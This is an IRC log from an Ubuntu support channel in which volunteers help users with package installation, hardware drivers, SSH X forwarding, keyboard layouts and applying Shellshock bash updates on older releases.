[13:58] <TJ-> pax2you: "mmcli -L"
[13:58] <aaa801> pax2you: lspci ?
[14:00] <Carl_> Geirha dpkg gives me a list of commands I can execute with dpkg. TJ- hash doesn't display the command I'm trying to use
[14:00] <geirha> Carl_: not dpkg, type dpkg   "type" is a builtin command
[14:00] <geirha> I even added quotes around it to emphasize that it was a command ...
[14:00] <Carl_> Oh, my bad.
[14:00] <Carl_> Missed it
[14:01] <geirha> Carl_: Though that means it finds and runs dpkg
[14:02] <pax2you> thx for modem...mmcli -L--> no modem were found and lpci didnt' found a modem...but i see the port on the left of laptop
[14:02] <TJ-> pax2you: It is probably a 'Win' modem, requiring a software driver... Linmodem used to provide free and paid-for versions of those
[14:03] <Carl_> geirha dpkg has been hashed. Command still not work
[14:03] <Carl_> Command still not working* returns error no such files or directories
[14:03] <geirha> Carl_: so you are running dpkg -i somefile  and it can't find somefile, right?
[14:03] <Carl_> Correct
[14:04] <geirha> which indicates that you've either mistypted the filname or missing the path to it
[14:04] <pax2you> TJ-: ok i've tried to download scanmodem from http://<IP_ADDRESS>/linmodems/index.html#scanmodem but the link don't work
[14:04] <Carl_> That's my understanding but I've copied the path exactly multiple times to no avail
[14:04] <TJ-> pax2you: See http://www.linmodems.org/
[14:04] <geirha> Carl_: copied from where?
[14:05] <TJ-> Carl_: Are you passing dpkg a path to a .deb file?
[14:05] <pax2you> TJ-: it's same.
[14:05] <pax2you> TJ-: linmodems.org is http://<IP_ADDRESS>/linmodems/index.html#scanmodem
[14:06] <Carl_> TJ- yes. Copied path directly from the files properties. Anyways, might just reboot the system unlikely but perhaps it might just work
[14:07] <Carl_> Thanks for the help guys
[14:07] <Carl_> Really do appreciate it
[14:07] <geirha> Carl_: try this, type in the terminal:  dpkg -i    with a space after -i but do not hit enter. Then drag the dpkg file from the file browser and drop it on the terminal
[14:08] <geirha> *drag the deb file
[14:08] <geirha> err well, you'll need sudo in front too.  sudo dpkg -i
[14:09] <bloodnut> after doing add-apt-repository I decided to remove it but when I'm doing --remove it returns "add-apt-repository: error: no such option: --remove"
[14:09] <bloodnut> any ideas?
[14:09] <k1l> bloodnut: use ppa-purge
[14:09] <Carl_> Hmm fixed it. Thanks again
[14:10] <TJ-> pax2you: I'm not sure that's the site I'm remembering - the one I recall made a business selling the HSP driver code they'd licensed, but I thought they were called linmodem
[14:10] <Carl_> I think my usr was corrupted. Logged out and changed user started working perfectly
[14:13] <pax2you> TJ-: so i can't use the modem? It's not very important it's just to finish the page i'm writing here: http://wiki.ubuntu-it.org/Hardware/Notebook/HpCompaq6720s
[14:15] <TJ-> pax2you: Not easily, since 99.9% of internal PC modems require Host Signal Processing (aka a driver) to function... one of the FOSS HSP drivers may support it, but it can be hard to figure it out
[14:15] <bloodnut> k1l, ppa-purge tried to update the packages (but it returned 404 - that's the reason I wanted to remove the ppa in the first place) but it says the ppa isn't found. how can that be if I just added it?
[14:16] <k1l> "ls -al /etc/apt/sources.list.d" will list all PPAs
[14:18] <bloodnut> is it safe to jsut delete the unnecessary source list?
[14:18] <MonkeyDust> bloodnut  comment them ou, with a #, so can eadsily repair it
[14:18] <MonkeyDust> typos*
[14:19] <pax2you> TJ-: ok thx for all dear. it isn't a easy problem to solve. Now i have to go. :)
[14:19] <bloodnut> I don't need to repair. I need to completely get rid of it
[14:20] <MonkeyDust> bloodnut  when you're sure it's harmless, you can still delete them
[14:21] <bloodnut> alright. much obliged.
[14:26] <UnixBird> hi everyone
[14:28] <guzzi_jones> grimlock1182, just use the entire disk and lvm
[14:30] <Grimlock1182> guzzi_jones, oH!!! i already choose the entire disk only..
[14:32] <guzzi_jones> redo it.
[14:32] <guzzi_jones> you want lvm
[14:33] <guzzi_jones> basically with lvm you get the best of everything
[14:33] <guzzi_jones> that is why it is default on some linux variants
[14:33] <guzzi_jones> i initially made the same mistake as you
[14:39] <UnixBird> I have a question about a problem connecting to phpmyadmin, it's possible ?
[14:41] <MonkeyDust> UnixBird  ask and wait
[14:41] <UnixBird> ok, thanks you.
[14:42] <Tato> Hello. I'm an absolute beginner when it comes to doing anything on the computer so I'd appreciate some help. I'm running ubuntu 14.04. I'm trying to use the following instructions" login as root then go to /etc/ld.so.conf.d now create vlc.conf conf file just need this:  /usr/lib" could anyone write the commands to do this?
[14:43] <MonkeyDust> Tato  what are you trying to do?
[14:44] <Tato> I'm missing a lot of libqt-network libqt core etc and I read that following those instructions fixes the broblem MonkeyDust
[14:45] <UnixBird> I can barely get connected to phpmyadmin, I do not remember my password. I saw on the internet that I had to change the conf.inc.php file but it is empty. It is in my usr/share/phpmyadmin directory. What should I do ?
[14:46] <MonkeyDust> Tato  what problem would that be? why do you need all that?
[14:47] <Tato> I need them because I'm trying to install a program through dpkg and it fails because I'm missing thiose packages
[14:47] <TCMSLP> argh - any help appreciated
[14:48] <TCMSLP> 14.04 install, goes smoothly, but grub fails to boot
[14:48] <TCMSLP> /dev/dsk/by-uuid/blah does not exist
[14:48] <TCMSLP> yet, boot off live USB and the path does exist
[14:48] <TCMSLP> I've tried reinstalling, tried boot-repair
[14:48] <MonkeyDust> Tato  and what package is that?
[14:49] <Tato> Virtualbox
[14:49] <k1l> Tato: please give more details, what ubuntu exactly? what package, etc etc
[14:49] <Tato> Oh the packages I'm missing
[14:49] <k1l> Tato: why not "sudo apt-get install virtualbox"?
[14:49] <MonkeyDust> Tato  try sudo apt-get install virtualbox
[14:49] <k1l> !info virtualbox
[14:49] <MonkeyDust> k1l  was faster
[14:50] <Tato> Never thought of doing it like that. I downloaded it from their website. I'll give it a try
[14:50] <k1l> Tato: first rule is to use what ubuntu ships in the official repos
[14:50] <marc87> hey guys, probably off-topic, but if I switch distros, do I have to download all the steam games in my library again?
[14:50] <rawtaz> hi. i've changed to old-releases.ubuntu.com in my sources.plist for my 13.04 raring ringtail, then ran apt-get update, but apt-get install --only-upgrade bash tells me that there's no newer bash available. is this because patches arent provided for this version of ubuntu anymore?
[14:51] <k1l> rawtaz: there is no update
[14:51] <Tato> Works perfect. Thanks kll and MonkeyDust
[14:51] <k1l> rawtaz: that is the thing when you use a EOL release
[14:51] <SchrodingersScat> marc87: if it's in your /home/ or some other storage outside of / and you don't overwrite it, I would hope you could point steam to it.  Shouldn't be a problem in /home/ really, something in /media/ might need you to tell steam
[14:51] <rawtaz> k1l: i take it that is a yes to my question?
[14:52] <k1l> rawtaz: you need to upgrade to 14.04 (with the 13.10 step inbetween)
[14:52] <SchrodingersScat> marc87: like, I imagine it might ask you to install the game, then when you choose the location if it's the same directory then it should just update..should.
[14:52] <Gear_> I'm installing ubunti 14.14.1 on a hp zd8000 laptop, the progress bar gets stuck at "configuring bcmwl-kernel-source"
[14:53] <rawtaz> k1l: i'll see if apt-get upgrade works :-)
[14:53] <Gear_> how much longer should I wait? it's a p4 with 2gb ram and other god specs
[14:53] <k1l> rawtaz: "sudo do-release-upgrade" is to upgrade to 13.10 and after that to 14.04
[14:53] <k1l> Gear_: p4 is old
[14:53] <k1l> Gear_: how long did you wait so far?
[14:53] <rawtaz> k1l: oh ok. thought it was the same as in debian. i shouldnt assume so much :)
[14:53] <rawtaz> k1l: thanks
[14:53] <Gear_> it runs off the usb fine so far
[14:54] <Gear_> I've waited about 20 minutes
[14:54] <Gear_> the bar hasn't moved, the screen saver went black a couple of times at least
[14:54] <k1l> rawtaz: yes, there are some differences.
[14:54] <rawtaz> k1l: havent i met you in the derby channel before?
[14:55] <k1l> rawtaz: dont think so :)
[14:55] <rawtaz> ok :D
[14:55]  * rawtaz eyes k1l
[14:58] <Gear_> can I interrupt this gui installer to see a text mode of where it's frozen at?
[14:58] <skinux> Are there any file/directory copying tools that show a progress bar and how much longer it should take?
[14:58] <Gear_> I loaded the usb in "try" mde, then used install ubuntu from there
[14:59] <marktaff> hi all
[14:59] <MonkeyDust> skinux  rsync --progress
[14:59] <antonio__> how much ram to install ubuntu ?
[14:59] <skinux> rsync for locally copying/moving files?
[14:59] <skinux> I thought that stood for Remote Sync?
[15:00] <MonkeyDust> skinux  you can use it locally too
[15:00] <Mastermind_> #server
[15:00] <Sevet> antonio__: https://help.ubuntu.com/community/Installation/SystemRequirements
[15:01] <antonio__> how much ram do i need to install ubuntu ?
[15:01] <MonkeyDust> !requirements | antonio__ start here
[15:01] <Tato> I just installed virtualbox. The only problem is that I have no idea where it was saved to , anybody can help?
[15:02] <marktaff> I sequentially dist-upgraded an old laptop from 12.10 to 14.04. Old kernel 3.5, new kernel 3.13. It has broadcom wired and wireless chips, and neither work with new kernel, and probably other hw as well.
[15:02] <skinux> I've also noticed that there is no really good wireless connection manager (GUI) app.
[15:02] <MonkeyDust> Tato  probably /usr/bin/ ... but why do you want to know?
[15:02] <skinux> I'd like to have something in the panel, such as there is for Windows. However, I have yet to find the functionality, at least for KDE.
[15:03] <Tato> I'm running it from a gui so I want open it
[15:03] <TCMSLP> ugh reinstalled again and still can't find disk by uuid
[15:03] <TJ-> skinux: the plasma-network-manager applet works fine for Wifi and all other NM connection types
[15:03] <skinux> Also...I can't seem to stop screenlets manager from automatically starting with the system.
[15:03] <marktaff> with 3.13 kernel, lsmod only shows about 12 modules, 3.5 kernel shows about 30 modules.  Anyone have any ideas on how to fix this?  Thanks
[15:04] <k1l> Tato: what ubuntu are you on?
[15:04] <Tato> 14.04
[15:04] <k1l> unity?
[15:04] <Tato> Lxde
[15:04] <TJ-> marktaff: What modules are missing? many of the most common modules are built-in to the kernel image to keep boot-times fast
[15:04] <cool_boy> hello there! if it is possible to recover directory delete from terminal, I accidentally deleted wrong directory through terminal :s
[15:05] <k1l> Tato: that should have something like a program menu
[15:05] <k1l> Tato: or press "alt+f2" and then type virtualbox and press enter
[15:06] <MonkeyDust> Tato  below left is the menu in lxde, look there for virtualbox
[15:06] <kyle__> Does the ubuntu installer support the partman/early_command?  I'm not having much luck with it.
[15:06] <marktaff> TJ: almost all of them.  I'm thinking some way to force hardware detection, kernel reinstall etc.  I can post the lsmod output, but give me a min to usb drive it off the laptop. :-)
[15:06] <Tato> My god I'm so bad all this. Practice makes perfect thanks k11
[15:06] <TJ-> marktaff: My point is, are you sure the modules you expect to be dynamically loaded aren't built in to the kernel image?
[15:08] <marktaff> TJ:yes, I'm sure.  I have another box (this one) and it has about 30 mods loaded as well
[15:09] <hncnae> \pa
[15:09] <Gear_> the installation progress bar is stuck at configuring bcmwl-kernel-source
[15:09] <friendlyguy> hi there! I've got a problem on some vms running ubuntu. /boot filled up to 100%, tried to remove old kernels via apt, not possible due to dependencies.?!
[15:10] <Gear_> is there a way of finding out why it's stuck?
[15:10] <asarkar> hello all
[15:10] <asarkar> I need some regarding python
[15:10] <asarkar> I am new to this channel
[15:10] <asarkar> anyone there for help!!!
[15:11] <TCMSLP> try asking - you may be lucky
[15:11] <TCMSLP> or unlucky
[15:11] <asarkar> thanks
[15:12] <Rory> Could somebody please confirm md5sum: e9d7412106a7a41822b06ecaa711c940  /var/cache/apt/archives/bash_4.3-7ubuntu1.3_amd64.deb
[15:12] <asarkar> I am working on a package pyth 0.6.0
[15:12] <asarkar> to read rtf files using python
[15:13] <SchrodingersScat> Rory: e9d7412106a7a41822b06ecaa711c940  bash_4.3-7ubuntu1.3_amd64.deb
[15:13] <Rory> Good enough for me
[15:13] <Rory> Thanks SchrodingersScat
[15:13] <marktaff> TJ: http://paste.kde.org/p5oys4k9l
[15:13] <asarkar> hello all
[15:15] <TJ-> marktaff: First off, "lspci -nnk" would be of more help to you, as it will list the kernel drivers. Second, I'd expect dmesg and/or syslog to give some major clues as to what is causing the differences
[15:17] <k1l> friendlyguy: please show a "ls -al /boot" in a pastebin
[15:17] <TJ-> marktaff: Also, using kernel 3.13 what does "cat /proc/modules | wc -l" report?
[15:18] <marktaff> TJ: lspci -nnk shows some hw with kernel drivers, but not either network card or audio
[15:19] <TJ-> marktaff: can you pastebin "/var/log/dmesg" ?
[15:19] <marktaff> TJ:cat /proc/modules reports 15 lines
[15:19] <marktaff> TJ:sure, give me a min to collect it off the laptop
[15:20] <TJ-> marktaff: I'm almost convinced there's a Xen hypervisor running on bare metal there, and a minimal dom0
[15:25] <marktaff> TJ: http://paste.kde.org/pagefiqky
[15:25] <trustnothing> query about redirecting output
[15:25] <trustnothing> I have a script where I want to redirect any errors into another command
[15:25] <trustnothing> say I'm using cp
[15:25] <trustnothing> I thought this should work, but it doesn't:
[15:26] <trustnothing> cp "src" "dest" 2>&1 | othercommand
[15:26] <trustnothing> anyone able to tell me why?
[15:27] <marktaff> TJ: it does look by dmesg like something has gone horribly wrong :-)
[15:29] <TJ-> marktaff: Yes :) First thing is some systemd/HAL bits, but I notice that BIOS has disabled VT (for KVM), which for v3.5 was enabled/loaded - which suggests BIOS settings may have changed to influence things somewhat, too
[15:30] <trustnothing> I've tested it in a case where there the specified source is missing
[15:30] <trustnothing> it should say
[15:30] <trustnothing> cp: cannot stat 'src': no such file or directory
[15:30] <trustnothing> but the other command doesn't receive that string at all
[15:30] <Linnak> Hi is that a way to make an ISO format backup from my system?
[15:32] <marktaff> TJ: Hmm.  That would be odd.  If I reboot with the 3.5 kernel, it works.  If the bios changed, wouldn't we expect the changes to affect both kernels?
[15:33] <rangeles2276> How can I fix my update my bash shell when I try to do sudo apt-get update && sudo apt-get upgrade nothing happens
[15:33] <rangeles2276> I have also done sudo apt-get autoclean and sudo apt-get autoremove but nothing it still says my server is vulnerable
[15:34] <TJ-> marktaff: Indeed :)
[15:34] <rangeles2276> I'm running 12.o4 LTS
[15:34] <TJ-> marktaff: Hence my comment about it feeling like a Xen hypervisor boot environment
[15:35] <frog> hi. how can I see if my torrent prgramm is working right? i soemhow haven't been connected to such much peers.. http://snag.gy/H4EO3.jpg how can i see if the right ports are open or not? or am i doing something else wrong?
[15:35] <marktaff> TJ: http://superuser.com/questions/753806/systemd-udevd381-failed-to-execute-lib-udev-socket-org-fre-edesktop-hal-u
[15:35] <marktaff> going to try this, sounds hopeful
[15:37] <reisio> frog: the way bittorrent works is the seeders with the best connections are seeded from first
[15:37] <magesing> Hi everyone, I just ran the software updater... it prompted me to restart, I did,  but now when I log in my display manager doesn't seem to start properly ( I don't get a taskbar etc.) Help please.... how do I go about diagnosing/fixing this?
[15:37] <reisio> frog: so if you have an ordinary residential network, you won't be seeding as much
[15:37] <TJ-> marktaff: I thought HAL went away many releases ago
[15:37] <frog> reisio: that just means that my inet is too "slow"?
[15:37] <marktaff> TJ: could be, this laptop had 12.10 on it 8 hours ago. :-)
[15:38] <reisio> frog: or others' are much faster, if you prefer
[15:38] <rww> rangeles2276: run apt-cache policy bash, tell us what the "Installed:" line says
[15:38] <frog> reisio: ok. but i just think there are in other countrys and thats why am too "slow". thanks
[15:39] <reisio> frog: likely would be mostly like that in any country
[15:39] <reisio> frog: when corporate grade hardware and access is seeding the same thing, you won't be seeding as much
[15:39] <trustnothing> actually I've found the problem
[15:40] <trustnothing> now I have a new problem
[15:40] <frog> reisio: what does corporate grade hardware mean?
[15:40] <reisio> frog: bigger pipes
[15:41] <frog> reisio: ok
[15:42] <trustnothing> solved the new one too :P
[15:42] <trustnothing> man, you guys are magic, you solve my problems without even saying anything.
[15:42] <reisio> trustnothing: yw
[15:44] <Guest15878> .
[15:47] <ABDU1989> Possible definition of this card
[15:47] <ABDU1989>  http://intexuae.com/index.php/products/satellite-tv-box-usb-2-0-intex-it-220dvb-s/
[15:48] <ldiamond> Something could be added to the topic for shellshock updates.
[15:48] <rww> It could be, but the solution is "do security updates as normal", so...
[15:49] <ldiamond> on my end, I had to manually start the update manager
[15:49] <reisio> your end is abnormal :)
[15:49] <rww> if I recall correctly, the default setting for security update checks is daily or more frequently
[15:49] <ldiamond> Yea well, I don't know, I still get the stupid popup about unbutu one closing in june 2014.
[15:50] <ldiamond> rww, on it does check it, but I didn't get a popup or an update icon
[15:50] <ABDU1989> Possible definition of this card
[15:50] <ABDU1989>  http://intexuae.com/index.php/products/satellite-tv-box-usb-2-0-intex-it-220dvb-s/
[15:50] <Talidan> hey guys, im trying to do something via ssh, but i get the error "xprop: unable to open display ''"
[15:50] <Talidan> What does that mean?
[15:51] <Talidan> i'm trying to read up on it, something to do with not forwarding GUI events to ssh or something?
[15:51] <ldiamond> It means you're trying to open a GUI software but you don't have proper x forwarding setup
[15:51] <marktaff> TJ: it didn't work, but it did get rid of all the hal errors in dmesg
[15:51] <Talidan> im a noob more or less
[15:51] <ldiamond> What are you running from ssh?
[15:51] <Talidan> xforwarding is forwarding events to text ssh?
[15:51] <ikonia> Talidan: it means you're not able to connect to the X display (window manager)
[15:51] <Talidan> I'm trying to get teamviewer running.  It has a command line interface, even if i cant see the window
[15:52] <Talidan> if this doesnt work i'll try vnc afterwards
[15:52] <thresh> When will updated AMI (w/ shellshock fix) hit the shelves of Amazon EC2 ?
[15:52] <thresh> It's still unfixed there.
[15:52] <Talidan> http://www.tonisoto.com/2013/07/launching-teamviewer-remotely-throught-ssh/ i'm following this
[15:52] <ldiamond> I don't know team viewer, but if you're running it correctly in cli mode, it still, for some reason, requires an x server
[15:52] <cfhowlett> thresh, probably need to ask amazon, eh?
[15:53] <ldiamond> add -X to your ssh command line.
[15:53] <thresh> cfhowlett: no, it's canonical who manages those images.
[15:53] <Eremo> Can someone help me to configure ubuntu keyboard as Spanish? I have tried all. In server 14...
[15:53] <Eremo> there is no way to make ñ key working or accents like ´ á é
[15:53] <Talidan> alright, i'll try installing an x server
[15:54] <ldiamond> don't you already have one?
[15:54] <ABDU1989> I need drivers for this card
[15:54] <ABDU1989>  http://intexuae.com/index.php/products/satellite-tv-box-usb-2-0-intex-it-220dvb-s/
[15:54] <Eremo> Ive tried diferent encoding types , keyboard-configuration, console-data reinstall and config... nothing its working, also tried loadkeys...
[15:54] <Talidan> on windows (please dont hate :D), migrating things over
[15:55] <ldiamond> thresh, I'd run updates on the vms on boot so they'll get fixed
[15:55] <kyle__> Eremo: https://help.ubuntu.com/community/ComposeKey
[15:55] <soulisson> Hi, i'm trying to install comodo antivirus on my computer, but i have the following error: modprobe: FATAL: Module redirfs not found. The linux-headers package is installed for my kernel version, any idea how to solve this problem please ?
[15:55] <thresh> ldiamond: sure.
[15:56] <thresh> ldiamond: that's still not what I'm asking :)
[15:56] <Eremo> kyle__ then i must give up of having an spanish regular keyboard? like in any other computer?
[15:56] <kyle__> And your fallback is Ctrl+Shift+U and typing the unicode code point
[15:56] <ldiamond> I don't think anyone here knows when they will be updated.
[15:56] <Eremo> i must be coding every spanish character in a combination key, is really that the solution?
[15:57] <Eremo> i mean... why isnt spanish keymap working? :S
[15:57] <kyle__> Eremo: Is it a spanish language keyboard or a us keyboard?
[15:57] <Eremo> its spanish keyboard
[15:57] <ABDU1989> Is there a solution
[15:58] <kyle__> Eremo: Try in ubunut-es.  They probably have dealt with it more than folks in here.  It __should__ be just choosing the keyboard/keymap.
[15:58] <Eremo> oki k1l
[15:58] <Eremo> sorry, kyle__
[15:59] <Talidan> great thanks ldiamond...seem to be getting smoewhere
[15:59] <Eremo> problem its i have already tried loadkeys es, and wont work, ill try in that channel
[15:59] <Eremo> ubuntu-es
[15:59] <Talidan> i've never not used command line shell before, this is new to me
[15:59] <Talidan> So, i just booted a GUI app through ssh.  The instance is still within the server, right? i'm a bit confused
[15:59] <Linnak> Hi, which application can make a backup imagefile from a running system?
[16:00] <kyle__> NP.  Good luck!
[16:00] <jhutchins> Talidan: http://tldp.org/HOWTO/DOS-Win-to-Linux-HOWTO.html http://www.linuxcommand.org/ https://help.ubuntu.com/community/BasicCommands http://www.macdevcenter.com/pub/a/mac/2005/05/20/terminal1.html http://www.ischool.berkeley.edu/~kevin/unix-tutorial/toc.html  http://linuxcommand.org/lc3_learning_the_shell.php  http://linuxcommand.org/tlcl.php
[16:00] <Talidan> thanks, i'll check those out
[16:02] <TJ-> thresh: I've asked in #ubuntu-server for you; you might want to join that channel to see any response
[16:03] <thresh> TJ-: great, thank you!
[16:03] <TJ-> thresh: and we have a response
[16:05] <ldiamond> Talidan, -X means X11 Forwarding enabled. This means all X11 communication will go through the SSH tunnel up to your local X server. I.e. the gui is displayed locally, but the software runs on the server.
[16:05] <Talidan> i see
[16:05] <Kurlon> Am I correct in assuming there won't be a backport of the patch to 8.10?
[16:05] <ldiamond> shellshock?
[16:05] <Kurlon> Sorry, 'shell shock' bash patches that is.
[16:06] <rww> Kurlon: correct
[16:06] <ldiamond> Good question, but since there's no support I'd assume not.
[16:06] <TJ-> Kurlon: 8.10 was EOL a long time ago
[16:06] <Pici> in 2010.
[16:06] <ldiamond> Though they might decide to push one still, given how major it is.
[16:06] <rww> (just like there wasn't one for heartbleed, or any other security vulnerability in the last 4 years)
[16:06] <rww> ldiamond: nope, they won't
[16:08] <rangeles2276> rww this is what I got
[16:08] <rangeles2276> rww bash:
[16:08] <rangeles2276>   Installed: 4.2-2ubuntu2
[16:08] <rangeles2276>   Candidate: 4.2-2ubuntu2
[16:08] <rangeles2276>   Version table:
[16:08] <rangeles2276>  *** 4.2-2ubuntu2 0
[16:08] <unopaste> rangeles2276 you have been muted for 60 seconds as it looks like you are pasting lots of lines into the channel, please use http://paste.ubuntu.com and paste just the URL of your data here when you are unmuted
[16:08] <rww> and that's why I said just the Installed: line :|
[16:09] <rangeles2276> rww my bad
[16:09] <TJ-> ldiamond: if you're still running an 8.10 server then bash is the last of your worries!
[16:10] <jhutchins> rww: There are so many other security problems with 8.10 that it would be pointless to upgrade just bash.
[16:10] <rww> jhutchins: yes, that was my point
[16:10] <rww> rangeles2276: hrm. can you put the whole thing in http://paste.ubuntu.com/ and link the page it creates here?
[16:11] <rangeles2276> rww this is all I got http://paste.ubuntu.com/8433922/
[16:13] <TJ-> rangeles2276: The package that completes the fix for CVE 7169 is "4.2-2ubuntu2.3" - you don't have that. What archive mirror is that system aimed at ("grep 'archive' /etc/apt/sources.list") ?
[16:14] <Kurlon> Based on current known issues, the only vuln on my 8.10 boxes is bash via apache cgi handling.
[16:14] <ldiamond> TJ- I'm not, someone else asked that.
[16:14] <Kurlon> Looks like I get to roll my own packages.
[16:14] <ldiamond> Or upgrade?
[16:14] <TJ-> ldiamond: apologies, that was aimed at Kurlon but my eyes skipped a line
[16:15] <rangeles2276> rww http://paste.ubuntu.com/8433950/
[16:15] <Kurlon> ldiamond: Love to, don't have the resources to rebuild those systems on new bases at this time.
[16:16] <TJ-> rangeles2276: That looks correct, so "sudo apt-get update && sudo apt-get dist-upgrade" should ensure that system has the latest packages
[16:17] <rangeles2276> TJ- I have done this so many times I have lost count
[16:17] <ldiamond> Kurlon, maybe arch linux's rolling releases would be better suited for your environment then
[16:17] <TJ-> rangeles2276: Are you behind a HTTP proxy ?
[16:18] <rangeles2276> nope
[16:18] <sp3ck> hi, have anyone heard about a complete shellshock patch??
[16:18] <rangeles2276> TJ- the other server which is sitting on the same place updates just fine
[16:18] <Technicus> Hello, I am trying to duplicate a cd with dd if=/dev/sr0 of=cdimage.iso.  But it only goes to 1.8mb and stops.  I have tried if=/dev/cdrom and if=/dev/cdrw but all have same result.  Is there a different device that I should set as the in file?
[16:18] <Kurlon> ldiamond: That'd be even more pain.  I love me some arch on my arm boxes, but it's not an ideal fit for our production env.
[16:18] <MisterCoinMC> Hey guys. Got a QQ. In the past, I know that CD-RW were not the best. I am dual booting Ubuntu on my osx system, and it doesnt like USB drives apparently. Do you think i'll have any troubles if I use a DVD-Rw for the install?
[16:19] <TJ-> rangeles2276: according to your 'grep' there is no entry for the "precise-security" repo
[16:19] <rangeles2276> TJ- How can I add this?
[16:19] <TJ-> rangeles2276: compare the sources.list of those two systems. it looks like this system is missing some entries
[16:19] <rangeles2276> TJ- is there a command you guys can give me
[16:19] <ajay_> kik on ubuntu
[16:20] <ajay_> wats the procedure
[16:20] <MisterCoinMC> anyone?